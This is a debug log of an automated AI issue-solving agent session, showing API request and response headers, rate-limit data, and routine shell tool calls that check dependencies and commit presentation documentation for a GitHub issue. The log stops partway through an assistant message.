[STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:06.375Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.45\",\n[2026-09-29T08:02:06.377Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:06.379Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:06.381Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:06.383Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:06.387Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:06.389Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:06.391Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:06.393Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:06.396Z] [STDOUT]   \"request-id\": \"req_011CfXP2WPA4ow2nTFBzdLdZ\",\n[2026-09-29T08:02:06.398Z] [STDOUT]   \"traceresponse\": \"00-b476b110f1f5faacc0123d57231e78e6-6ce84413478ea198-01\",\n[2026-09-29T08:02:06.401Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:06.403Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:06.406Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:06.408Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:06.411Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:06.413Z] [STDOUT]   \"cf-ray\": \"a42976aee8535d90-FRA\",\n[2026-09-29T08:02:06.417Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:06.420Z] [STDOUT] [log_08adca] response parsed {\n[2026-09-29T08:02:06.423Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:06.425Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:06.427Z] [STDOUT]   body: X {\n[2026-09-29T08:02:06.429Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:06.432Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:06.434Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:06.438Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:06.443Z] [STDOUT]     },\n[2026-09-29T08:02:06.453Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:06.455Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:06.458Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:06.460Z] [STDOUT]   },\n[2026-09-29T08:02:06.461Z] [STDOUT]   durationMs: 967,\n[2026-09-29T08:02:06.463Z] [STDOUT] }\n[2026-09-29T08:02:07.517Z] [INFO] {\n[2026-09-29T08:02:07.517Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:07.517Z] [INFO]   \"message\": {\n[2026-09-29T08:02:07.517Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:07.517Z] [INFO]     \"id\": \"msg_011CfXP2WoxQF47raVcK11kP\",\n[2026-09-29T08:02:07.517Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:07.517Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:07.517Z] [INFO]     \"content\": [\n[2026-09-29T08:02:07.517Z] [INFO]       {\n[2026-09-29T08:02:07.517Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:02:07.517Z] [INFO]         \"id\": \"toolu_01QfhgpQtTZB6TyJMd5p7aAQ\",\n[2026-09-29T08:02:07.517Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:02:07.517Z] [INFO]         \"input\": {\n[2026-09-29T08:02:07.517Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; tail -5 /tmp/pip.log; cat requirements.txt; grep -n 'install pinned' -r tools/*.sh projects/ba-ai-process/dist/*/tools/*.py 2>/dev/null | head -3\",\n[2026-09-29T08:02:07.517Z] [INFO]           \"description\": \"Check why dependencies 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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:11.740Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:11.743Z] [STDOUT]   body: X {\n[2026-09-29T08:02:11.747Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:11.749Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:11.752Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:11.754Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:11.756Z] [STDOUT]     },\n[2026-09-29T08:02:11.759Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:11.761Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:11.770Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:11.773Z] [STDOUT]   },\n[2026-09-29T08:02:11.779Z] [STDOUT]   durationMs: 875,\n[2026-09-29T08:02:11.785Z] [STDOUT] }\n[2026-09-29T08:02:12.345Z] [INFO] {\n[2026-09-29T08:02:12.345Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:12.345Z] [INFO] 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\"content\": [\n[2026-09-29T08:02:12.493Z] [INFO]       {\n[2026-09-29T08:02:12.493Z] [INFO]         \"tool_use_id\": \"toolu_01UHkgRF2UyKgcXL6pYGEfZq\",\n[2026-09-29T08:02:12.493Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:02:12.493Z] [INFO]         \"content\": \"Command running in background with ID: bciyyo5i9. Output is being written to: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output. You will be notified when it completes. To check interim output, use Read on that file path.\\nSession cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\",\n[2026-09-29T08:02:12.493Z] [INFO]         \"is_error\": false\n[2026-09-29T08:02:12.493Z] [INFO]       }\n[2026-09-29T08:02:12.493Z] [INFO]     ]\n[2026-09-29T08:02:12.493Z] [INFO]   },\n[2026-09-29T08:02:12.493Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:12.493Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:12.493Z] [INFO]   \"uuid\": \"4a609197-0826-4031-807b-16ae0da21db8\",\n[2026-09-29T08:02:12.493Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:12.480Z\",\n[2026-09-29T08:02:12.493Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:02:12.493Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T08:02:12.493Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:12.493Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:12.493Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:12.493Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:02:12.493Z] [INFO]     \"backgroundTaskId\": \"bciyyo5i9\",\n[2026-09-29T08:02:12.493Z] [INFO]     \"backgroundCwdHint\": \"Session cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\"\n[2026-09-29T08:02:12.493Z] [INFO]   }\n[2026-09-29T08:02:12.493Z] [INFO] }\n[2026-09-29T08:02:14.453Z] [INFO] {\n[2026-09-29T08:02:14.453Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:14.453Z] [INFO]   \"message\": {\n[2026-09-29T08:02:14.453Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:14.453Z] [INFO]     \"id\": \"msg_011CfXP2pHw62t2mvx5ZZy7H\",\n[2026-09-29T08:02:14.453Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:14.453Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:14.453Z] [INFO]     \"content\": [\n[2026-09-29T08:02:14.453Z] [INFO]       {\n[2026-09-29T08:02:14.453Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:02:14.453Z] [INFO]         \"id\": \"toolu_01SKgeKdkqgzf6NtYHhEuGaH\",\n[2026-09-29T08:02:14.453Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:02:14.453Z] [INFO]         \"input\": {\n[2026-09-29T08:02:14.453Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git add -A && git commit -q -m \\\"docs(ba-ai-process): add meta-model presentation slides and speaker script (#646)\\n\\nTwo linked documents for the Head of AI development at Mango, synced by\\nslide number: a 10-slide Assertion-Evidence template with image prompts\\nand absolute source links, and a speaker script with bridges and a Q&A\\nbank for a technical audience. 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[STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:20.541Z] [STDOUT]   \"request-id\": \"req_011CfXP3XnmnPiBAY9XSbXtR\",\n[2026-09-29T08:02:20.544Z] [STDOUT]   \"traceresponse\": \"00-7eb13a9a527d0442eddccb4b23abb40c-f70ed75d36529798-01\",\n[2026-09-29T08:02:20.548Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:20.550Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:20.553Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:20.556Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:20.558Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:20.560Z] [STDOUT]   \"cf-ray\": \"a4297705cbc25d90-FRA\",\n[2026-09-29T08:02:20.563Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:20.566Z] [STDOUT] [log_609179] response parsed {\n[2026-09-29T08:02:20.568Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:20.571Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:20.573Z] [STDOUT]   body: X {\n[2026-09-29T08:02:20.576Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:20.578Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:20.580Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:20.583Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:20.585Z] [STDOUT]     },\n[2026-09-29T08:02:20.587Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:20.589Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:20.596Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:20.601Z] [STDOUT]   },\n[2026-09-29T08:02:20.604Z] [STDOUT]   durationMs: 1179,\n[2026-09-29T08:02:20.609Z] [STDOUT] }\n[2026-09-29T08:02:20.613Z] [INFO] {\n[2026-09-29T08:02:20.613Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:20.613Z] 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#646.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #646\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\",\n[2026-09-29T08:02:28.278Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:28.278Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:28.278Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:28.278Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:02:28.278Z] [INFO]   }\n[2026-09-29T08:02:28.278Z] [INFO] }\n[2026-09-29T08:02:28.357Z] [STDOUT] [log_266a87] sending request {\n[2026-09-29T08:02:28.360Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:02:28.369Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:28.371Z] [STDOUT]   options: {\n[2026-09-29T08:02:28.374Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:02:28.377Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:02:28.381Z] [STDOUT]     body: {\n[2026-09-29T08:02:28.392Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:02:28.396Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:02:28.401Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:02:28.405Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:02:28.408Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:02:28.412Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:02:28.416Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:02:28.418Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:02:28.422Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:02:28.425Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:02:28.427Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:02:28.430Z] [STDOUT]       stream: true,\n[2026-09-29T08:02:28.434Z] [STDOUT]     },\n[2026-09-29T08:02:28.437Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:02:28.439Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:02:28.442Z] [STDOUT]       aborted: false,\n[2026-09-29T08:02:28.446Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:02:28.449Z] [STDOUT]       onabort: null,\n[2026-09-29T08:02:28.451Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:02:28.454Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:02:28.456Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:02:28.458Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:02:28.461Z] [STDOUT]     },\n[2026-09-29T08:02:28.464Z] [STDOUT]     stream: true,\n[2026-09-29T08:02:28.466Z] [STDOUT]   },\n[2026-09-29T08:02:28.468Z] [STDOUT]   headers: {\n[2026-09-29T08:02:28.470Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:02:28.472Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:02:28.475Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:02:28.478Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:02:28.481Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:02:28.483Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:02:28.486Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:02:28.488Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:02:28.490Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:02:28.492Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=5286\",\n[2026-09-29T08:02:28.494Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:02:28.496Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:02:28.500Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:28.503Z] [STDOUT]     \"x-client-request-id\": \"3f21db13-0e70-45c3-8540-6defadedec90\",\n[2026-09-29T08:02:28.505Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:02:28.507Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:02:28.509Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:02:28.511Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:02:28.513Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:02:28.516Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:02:28.518Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:02:28.524Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:02:28.526Z] [STDOUT]   },\n[2026-09-29T08:02:28.529Z] [STDOUT] }\n[2026-09-29T08:02:29.096Z] [STDOUT] [log_266a87, request-id: \"req_011CfXP4D6AJBzSJguEVzoBb\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 740ms\n[2026-09-29T08:02:29.101Z] [STDOUT] [log_266a87] response start {\n[2026-09-29T08:02:29.111Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:29.127Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:29.131Z] [STDOUT]   headers: {\n[2026-09-29T08:02:29.137Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:29.139Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:29.142Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:29.146Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:29.150Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:29.153Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:29.160Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:29.166Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:29.174Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:29.181Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:29.187Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:29.193Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:29.195Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:29.201Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:29.205Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:29.207Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:29.209Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:29.216Z] [STDOUT]     \"cf-ray\": \"a429773f4d7d5d90-FRA\",\n[2026-09-29T08:02:29.219Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:02:29.222Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:29.227Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:29.232Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:29.237Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:02:29 GMT\",\n[2026-09-29T08:02:29.242Z] [STDOUT]     \"request-id\": \"req_011CfXP4D6AJBzSJguEVzoBb\",\n[2026-09-29T08:02:29.247Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:02:29.250Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:29.255Z] [STDOUT]     traceresponse: \"00-35f698f0fb3f618e14f4edc68b1669af-426f0f848ab27e9d-01\",\n[2026-09-29T08:02:29.258Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:29.260Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:02:29.263Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:29.268Z] [STDOUT]   },\n[2026-09-29T08:02:29.272Z] [STDOUT]   durationMs: 740,\n[2026-09-29T08:02:29.276Z] [STDOUT] }\n[2026-09-29T08:02:29.279Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:02:29.288Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:02:29 GMT\",\n[2026-09-29T08:02:29.294Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:29.300Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:29.303Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:02:29.306Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:29.310Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:29.314Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:29.316Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:02:29.318Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:29.323Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:29.325Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:29.327Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:29.330Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:29.332Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:29.335Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:29.338Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:29.340Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:29.343Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:29.346Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:29.349Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:29.350Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:29.352Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:29.354Z] [STDOUT]   \"request-id\": \"req_011CfXP4D6AJBzSJguEVzoBb\",\n[2026-09-29T08:02:29.357Z] [STDOUT]   \"traceresponse\": \"00-35f698f0fb3f618e14f4edc68b1669af-426f0f848ab27e9d-01\",\n[2026-09-29T08:02:29.361Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:29.364Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:29.368Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:29.370Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:29.372Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:29.375Z] [STDOUT]   \"cf-ray\": \"a429773f4d7d5d90-FRA\",\n[2026-09-29T08:02:29.377Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:29.379Z] [STDOUT] [log_266a87] response parsed {\n[2026-09-29T08:02:29.385Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:29.389Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:29.391Z] [STDOUT]   body: X {\n[2026-09-29T08:02:29.393Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:29.397Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:29.399Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:29.403Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:29.406Z] [STDOUT]     },\n[2026-09-29T08:02:29.410Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:29.415Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:29.420Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:29.424Z] [STDOUT]   },\n[2026-09-29T08:02:29.426Z] [STDOUT]   durationMs: 741,\n[2026-09-29T08:02:29.430Z] [STDOUT] }\n[2026-09-29T08:02:29.858Z] [INFO] {\n[2026-09-29T08:02:29.858Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:29.858Z] [INFO]   \"message\": {\n[2026-09-29T08:02:29.858Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:29.858Z] [INFO]     \"id\": \"msg_011CfXP4DXhgFUMJfjBYJLKY\",\n[2026-09-29T08:02:29.858Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:29.858Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:29.858Z] [INFO]     \"content\": [\n[2026-09-29T08:02:29.858Z] [INFO]       {\n[2026-09-29T08:02:29.858Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:02:29.858Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:02:29.858Z] [INFO]         \"signature\": \"CAQSkQUKEAgSGAI4AUIIdGhpbmtpbmcSDEEIzA5B2KYZSeZQYxoMXKhFLGJi0rS7C5DRIjCJz9s3YOlTQasIEoyZzUbExFraUVUg/kqCEnGQIkxaOFAcozUT8ZzuYrx83a4unmMqrgQruj9eq/6kNtAKsQKvULrNsCQVSbp5vAlKN5+d1bJwV1fOPC8pmNEf/Z9Aw6t3AIzr4NYtk6NDR90zdXoqmyiU5AryXkx2zA2cROXPw/NHjWR4qn5F3BJVAaRmTVxM3tIA0VhXLU3pKwGWIM5ScNxQ4dOwcoU5MiGsacVHgOCn3fiTeTPSf8JLymHMvAKtQBrRNZLnrxlkY6hWquqF0DLKm7KCaGGLPl015/H0An1awAO/fVb/GAIiGqv4ZL6UQHCAALHIgYawezoju47tJL1L0ctOgSqQLUq4ODMyhYMwpwfFYS/Fd6U6Bxg1Rsb+BGdP6pZ4BGVfpzqGTpqPbFCR7+y5gPY3UZD9F3M7ozSAIKw3Q4ZCO1YWx+xXFJLvfi1N2+wbG6KW+eI1StBxtSgTfFVVjiEipn5iudEOV9oyeUB10VEvsD5sofOOAL/XZrqDpe37VZAgiuPCLMj5co8YfGbpnveARSCqyQbSSu6J2zhMlXpPRHysbzHP8M0LfP7tJUfYlbHCB4uOzSle+VHqr/0O79B5tQBn37GYFoheOJhlJgiWAFWAyWJEa/dAy+pJA7fqxn5Mb3tilq57rPF+pTIY4vsH+vjDgXTUqXM1/Igd2A2FlkJvZeN5peOqdHBAVRryaWSJUVQCiXGUW17o+CjILxT8fyyrb2mw0onwtQ/5/ZIVRSTL0of2dK3uzIRSAA9ysUpDeIKeXSNddrgxlImd5lH1c75Q7nc2TIEYAQ==\"\n[2026-09-29T08:02:29.858Z] [INFO]       }\n[2026-09-29T08:02:29.858Z] [INFO]     ],\n[2026-09-29T08:02:29.858Z] [INFO]     \"container\": null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"stop_details\": 